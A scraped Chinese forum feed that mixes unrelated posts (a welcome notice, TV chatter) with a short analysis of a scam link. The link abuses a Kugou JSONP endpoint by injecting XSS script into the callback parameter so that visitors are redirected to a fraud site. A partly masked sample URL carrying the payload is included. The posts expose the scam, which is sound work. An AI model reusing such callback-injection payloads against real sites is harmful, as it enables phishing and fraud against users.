8-16 · 获取一个js执行，把当前窗口href改为真正的*站链接

8-16 · 可以将3↑3命名为“蛤蜊羹数”

8-16 · 原理分析：1. 通过酷狗官方接口，本是用来打开一个json文件，但是在callback里注入了js xss攻击代码，跳转到新的*骗网站链接

8-16 · 高希希导演，总编剧朱苏进
现已成为B站著名的吐槽对象

8-16 · 链接样本：https://fx1.service.kugou.com/fx/timemachine/web/video/music/view/current.json;BptVdOEe?_p=0&jsonpcallback=*********%E5%BF%83&starId=1869700074&needHttps=1xxx%3Cbody%2Fhidd********g%2Fonload%3DsetT********7Bwith(document)body.appendC...

8-16 · 亲爱的用户：欢迎来到新三国吧，Purasbar欢迎您的到来~
请先阅读我们的社区准则：
https://zh.purasbar.com/documents/eula/
以及版权声明：
https://zh.purasbar.com/documents/copyright/
您可在此畅所欲言，并和朋友们交流~~
祝您在此吧玩得愉快~
社区管理员

8-16 · 可以看到是通过callback的时候注入js来实现的

8-16 ·

8-16 ·

8-16 ·